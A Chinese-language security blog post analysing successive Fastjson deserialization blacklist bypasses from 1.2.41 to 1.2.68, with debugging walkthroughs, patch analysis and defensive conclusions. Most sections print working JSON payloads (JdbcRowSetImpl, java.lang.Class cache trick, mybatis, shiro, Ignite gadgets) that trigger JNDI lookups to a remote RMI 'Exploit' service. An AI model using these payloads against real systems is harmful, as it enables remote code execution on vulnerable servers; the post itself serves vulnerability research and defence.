本篇是开坑系列第五篇,在Fastjson 1.2.24版本之后,加入了checkAutoType()函数的校验,主要利用黑白名单对要反序列化的类进行校验,以下的Bypass都是基于黑名单的绕过情况(autoTypeSupport=true)。从已有的分析资料来看,主要几个绕过的点分别在1.2.41,1.2.42,1.2.43,1.2.45,1.2.47,1.2.62,1.2.66,1.2.68这几个版本
Fastjson历史补丁Bypass分析
漏洞限制
JDK版本对于JDNI注入的限制,基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191
本文测试全部使用的是:1.6.0_65部分payload测试使用1.8.0_161
补丁Bypass
Fastjson补丁Bypass的情况主要分为以下两种情况:
- 黑名单检测机制被绕过,导致同一条利用链重复利用;
- 黑名单被绕过,发现新的Gadget链;
版本1.2.25
Fastjson从此版本开始引入了checkAutoType()函数,利用黑白名单对要反序列化的类进行校验,下面是具体的补丁信息。
补丁
版本1.2.41
绕过原因
这里使用的还是com.sun.rowset.JdbcRowSetImpl 的利用链,先尝试运行之前的PoC
1 | "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://localhost:1099/Exploit\", \"autoCommit\":false}" |
1 | // 命中黑名单 |
修改PoC内容,成功触发,执行命令,关键部分为:Lcom.sun.rowset.JdbcRowSetImpl;
1 | "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"rmi://localhost:1099/Exploit\", \"autoCommit\":false}" |

详情分析
直接跟进到checkAutoType()方法中,黑名单中使用classname.startsWith(deny)判断是否为恶意类,可以看到加了L后绕过了检测。
问题来了:加了 L和; 的类是否能成功获取到Class对象,继续跟进一下

在黑白名单都未找到对应Class对象时,会进入到TypeUtils.loadClass 方法中,自动去掉前后两个符号并返回去Class对象

补丁
到了1.2.42,对以上这种绕过方式进行了修复,具体commit如下:
修复思路
- 修改之前明文方式的
denyList为denyHashCodes,防止研究人员根据包名找到新的利用链; - 将
Lcom.sun.rowset.JdbcRowSetImpl;前后符号去掉并处理为hashCode加入黑名单
版本1.2.42
绕过原因
从1.2.42开始使用denyHashCodes的方式进行黑白名单检测
先给出PoC,关键部分为:LLcom.sun.rowset.JdbcRowSetImpl;;
1 | "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"dataSourceName\":\"rmi://localhost:1099/Exploit\", \"autoCommit\":false}" |
详情分析
刚刚提到了为了提高攻击门槛,Fastjson将黑名单转成了哈希的形式,避免被直接利用。
但是由于修复过程中只考虑到了Lcom.sun.rowset.JdbcRowSetImpl;情况,并对其中的类名进行了一次提取,并将提取后的结果取hashCode进行判断,导致LLcom.sun.rowset.JdbcRowSetImpl;;或者前后加更多的L和;也能进行绕过,具体原因下面分析:

可以看到上图是1.2.42中的两次不同判断方式,可能再第一次直接使用明文后,考虑到会被直接想到使用加符号的形式绕过低版本,也同样改成了使用hashCode的形式进行判断。
利用Lcom.sun.rowset.JdbcRowSetImpl;的hashCode绕过了黑名单,接下来利用typeName获取Class对象,可以看到typeName为LLcom.sun.rowset.JdbcRowSetImpl;;,为什么还是能执行 ?

由于Fastjson在提取类名上的一些特性,当检测到开头为L结尾为;时,就会一直循环提取L和;之间的内容,直到提取到真正的类名。

补丁
修复思路
由于使用上面的方式绕过,类名前面会出现至少两个L,因此在判断了开头为L,结尾为;时,会再判断第二个字符是否为L
1 | if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) { |
在比较hashCode的时候看到了一些小细节,本来只需要对每个类名计算一次hash并进行黑白名单对比即可,但在下面代码可以看到,会从第4个字符开始分别与hash值做异或,再进行判断,也是为了提高一些攻击门槛把,但最后还是被对比了出来,真的是世上本没有漏洞,自从有了安全研究后,漏洞就层出不穷,哈哈 …
1 | for(i = 3; i < className.length(); ++i) { |
版本1.2.43
绕过原因
直接放出payload,运行即可绕过黑名单执行命令,关键部分为:[com.sun.rowset.JdbcRowSetImpl
1 | "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[,{ \"dataSourceName\":\"rmi://localhost:1099/Exploit\", \"autoCommit\":false}" |
可以看到在核心部分后还有[{ 两个字符,尝试先传入没有这两个字符的payload,出现错误
1 | "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://localhost:1099/Exploit\", \"autoCommit\":false}" |
根据上述报错信息调整payload,再次发送,依然报错
1 | "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://localhost:1099/Exploit\", \"autoCommit\":false}" |
再次调整payload,在逗号后面加入字符"{",成功触发
这里发现和”{“写在逗号前后都可以触发payload,下面会仔细跟进一下这块是什么情况
详情分析
由于开头使用了"["字符,这个版本的修改也只是判断了下开头是否为LL ,这中写法由于黑名单中没有,自然绕过了hashCode的检测,当开头为"[",会提取类名,并将获取到的Class对象放入到数组中,在这里是没有出现异常的并且Class已经正常获取到,可以继续向下跟进
1 | // TypeUtils.loadClass方法中 |
thisObj = deserializer.deserialze(this, clazz, fieldName); 紧接着进入正常的反序列化流程,使用ObjectArrayCodec类型的反序列化器进行反序列化,其中会提取数组中的成员类型并使用parser.parseArray 进行解析

当前token不为14时,即会判断是否为"[" ,如果不是会抛出异常;
1 | if (token != 14) { |
当前token不为12 或者 16时,即会判断是否为"{" 或者 ",",会在进入if流程后抛出异常,下面有一个char和token的对照关系;
1 | if (token != 12 && token != 16) { |
因此依次满足上面的条件即可触发payload,有个问题是为什么"{"在逗号前后都能触发,解析过程中判断到当前字符为16,也就是逗号时,会直接跳过该字符,进入下一个字符的处理,因此在"["后无论是先写逗号还是"{",最终都是解析"{"字符
1 | if (this.lexer.isEnabled(Feature.AllowArbitraryCommas)) { |
补丁
修复思路
修复方式也很直接,就是截取第一个字符根据hashCode判断是否为"[",就很暴力 ~
1 | long h1 = (-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L; |
commit中还对之前Lxxx;类型payload的检测代码进行了合并,先检测第一个字符hashCode h1,为[抛出异常;再将其跟;做hashCode判断是否为之前的绕过。
版本1.2.45
绕过原理
- 原理:使用新的Gadget绕过黑名单
- 利用条件:需要目标服务器存在mybatis的jar包,
3.0.1 ≤ 版本 ≤ 3.4.6,下载地址
以下为PoC,主要利用了JNDI注入,访问恶意的远程注册中心,data_source可以连LDAP和RMI
主要PoC:org.apache.ibatis.datasource.jndi.JndiDataSourceFactory,直接运行即可触发
1 | "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://localhost:1099/Exploit\"}}"; |
详情分析
之前的补丁对类名的第一个字符进行检测,出现"["则抛出异常,但是这个类不会触发前面的检测机制,并且黑名单中不存在这个类的hashCode,成功绕过checkAutoType的检测
运行跟进调试org.apache.ibatis.datasource.jndi.JndiDataSourceFactory利用链,因为setProperties 方法符合之前说的筛选要求,因此在反序列化的过程中会被自动调用setProperties方法,由于properties中属性data_source可控,并且进入到lookup方法,从而造成JNDI注入引起命令执行
1 | public void setProperties(Properties properties) { |
补丁
修复思路
从commit记录中可以看到denyHashCodes中又增加了很多类的hashCode,其中根据github blacklist对比发现-8083514888460375884L为org.apache.ibatis.datasource,完成黑名单添加,并且在1.2.46中官方扩充了不少黑名单,具体可以根据hashCode对比blacklist查看是哪个类
版本1.2.47
绕过原因
setAutoTypeSupport为True 或者 False 都可以触发
- 原理:使用新的Gadget绕过黑名单
- 利用条件
- 需要 1.2.33 ≤ Fastjson版本 ≤ 1.2.47,是否开启
setAutoTypeSupport都能成功 - 需要 1.2.25 ≤ Fastjson版本 ≤ 1.2.32,关闭
setAutoTypeSupport能成功
- 需要 1.2.33 ≤ Fastjson版本 ≤ 1.2.47,是否开启
直接放出payload,运行即可绕过黑名单执行命令
1 | "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}}}"; |
详情分析
先贴出这个payload的调用栈,跟着分析一下具体流程

1.2.47,开启**setAutoTypeSupport**分析
由于PoC开头不为@type等预置类型,因此按照Map类型进行解析,具体Map类型解析可以看我的 Fastjson反序列化基础,跟进parseObject分析其中关键步骤

因为typeName为java.lang.Class不在黑名单,成功绕过检测,在this.deserializers.findClass中找到其Class类并返回

紧接着进入到MiscCodec的deserialze方法中,在parser.parse后获取到value值com.sun.rowset.JdbcRowSetImpl,并在判断好clazz类型后,开始加载strVal的Class对象


在TypeUtils.loadClass中,成功加载目标类Class并放入缓存数组mappings中 ,完成第一组键值对的反序列化

紧接着进入第二组,键值对的反序列化,也是触发漏洞的关键步骤,可以看到在autoTypeSupport为true时,在黑名单检测过程中需要同时满足两个条件,由于TypeUtils.getClassFromMapping(typeName)从mapping中获取到了com.sun.rowset.JdbcRowSetImpl类的Class,导致条件不成立,绕过黑名单抛出异常的代码

之后进入正常的反序列化流程,详情见 Fastjson JdbcRowSetImpl利用链分析
1.2.47,关闭**setAutoTypeSupport**分析
关闭后就更直接了,直接因为autoTypeSupport为false不会进入到上面的黑名单检测过程,直接从mapping缓存中获取到目标类Class,进入之后的反序列化流程

1.2.32,开启**setAutoTypeSupport**分析
在此版本,开启autoTypeSupport的情况下,直接运行PoC会抛出is not support的异常,分析发现在第一部分解析过程中,与之前没有太大区别,java.lang.Class绕过黑名单被解析为Class类型,并将目标类Class放入到mapping中,但由于没有了之前要同时满足两个条件的限制,导致被黑名单检测,抛出异常

1.2.32,关闭**setAutoTypeSupport**分析
在此版本,关闭autoTypeSupport的情况下,由于没有直接进入黑名单检测,在之后白名单检测之前,进入到TypeUtils.getClassFromMapping成功获取到目标类并返回,之后正常反序列化导致命令执行

补丁
这个绕过不像之前一样只是单纯的对黑名单的绕过,更多的是结合了Fastjson特性机制,利用其缓存的特点,绕过了黑白名单的检测。对于这种类型的漏洞挖掘,更多的是需要对挖掘目标的了解,在充分了解其特性后,再去构造Payload。
修复思路
- 跟上一个绕过修复思路一样,还是在denyHashCodes中增加了本次绕过类
java.lang.Class的hashCode - 把默认的缓存true改为false
版本1.2.62
绕过原理
- 原理:使用新的Gadget绕过黑名单
- 利用条件
- 需要 Fastjson版本 ≤ 1.2.62,并且需要开启
setAutoTypeSupport
- 需要 Fastjson版本 ≤ 1.2.62,并且需要开启
org.apache.ibatis.ibatis-sqlmap-2.3.4.726.jar
关键PoC:com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig
1 | "{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"rmi://localhost:1099/Exploit\"}}"; |
详情分析
utxName可控,造成JNDI注入

修复思路
增加黑名单
版本1.2.66
绕过原理
- 原理:使用新的Gadget绕过黑名单
- 利用条件
- 需要 Fastjson版本 ≤ 1.2.66,并且需要开启
setAutoTypeSupport
- 需要 Fastjson版本 ≤ 1.2.66,并且需要开启
在1.2.66及其之前又出现了一些JNDI注入的利用链,下面列出PoC,并简单的分析一些
org.apache.shiro-core-1.5.1.jar
关键PoC:org.apache.shiro.jndi.JndiObjectFactory
1 | "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"rmi://localhost:1099/Exploit\"}" |
br.com.anteros.Anteros-DBCP-1.0.1.jar
关键PoC:br.com.anteros.dbcp.AnterosDBCPConfig
1 | "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"rmi://localhost:1099/Exploit\"}" |
org.apache.ignite.ignite-jta.1.1.0-incubating.jar
关键PoC:org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup
1 | "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\",\"jndiNames\":\"rmi://localhost:1099/Exploit\"}" |
详情分析
org.apache.shiro-core-1.5.1.jar
- 这条链需要注意的是,在反序列化时需要使用parseObject进行

- 由于parseObject需要返回JSONObject类型对象,继承了Map,在使用toJSON进行转换的时候会遍历其字段,并调用字段getter获取value放到Map中,在调用getInstance()方法时触发JNDI注入

br.com.anteros.Anteros-DBCP-1.0.1.jar
- 绕过黑名单,获取到目标类Class

- 调用目标Class的
setMetricRegistry方法,进入lookup完成JNDI注入


org.apache.ignite.ignite-jta.1.1.0-incubating.jar
- 这条链需要注意的是,在反序列化时需要使用parseObject进行
- 在反序列化过程中,调用setJndiNames方法给Object setValue

- 由于parseObject需要返回JSONObject类型对象,继承了Map,在使用toJSON进行转换的时候会遍历其字段,并调用字段getter获取value放到Map中,在调用getTm()方法时触发JNDI注入


补丁
分别在下列两个版本增加了黑名单
修复思路
增加黑名单
版本1.2.68
1.2.68版本增加了新的安全参数Safe_mode:https://github.com/alibaba/fastjson/wiki/fastjson_safemode
机制分析
从1.2.68开始新增了一个Safe_mode,打开以后直接禁用autoType功能,调试了下代码发现很直接就是在进入autoType逻辑之前给你整彻底了 。。。设置为true的时候啥也过不去,只要设置@type类型,想反序列化指定类对象的时候,就会抛异常,真可太真实了,我疯起来连我自己都 X


哈希黑名单
从1.2.42版本开始为了防止安全研究人员分析黑名单中的利用链,把黑名单从原本明文的形式改为了哈希过的黑名单,目的还是为了提高利用门槛,不过在Github上已经有人跑出了大部分包名
总结
之后Fastjson主要修复方式也是对黑名单的补充,还是具有很大的隐患,一旦出现新的攻击链,很容易会绕过。
虽然有了safe_mode,但是相当于废掉了这个功能,感觉不会有太多人开启这个参数。
还是尽量使用白名单,减少一些攻击面。主要绕过点有以下几个:
- JDK中存在新的利用链(包括反序列化命令执行,反序列化引起XXE等各种类型问题);
- 引入三方依赖中可以利用;
- 黑名单的检测机制被绕过;
- 应用本身存在安全隐患。
分析了这么多Fastjson补丁后发现,真的是与人斗,其乐无穷,我挖一个点,你修一个点,也充分体现出了攻防的过程,但防御总是感觉被动一些。不过开发的过程中还是要做到安全编码,具备一些安全意识,即便无法完全防御,也要提高攻击门槛,毕竟攻防之间也是成本的博弈,说要做的绝对的安全也是不可能的,安全性、可用性、稳定性之间总是要有所割舍。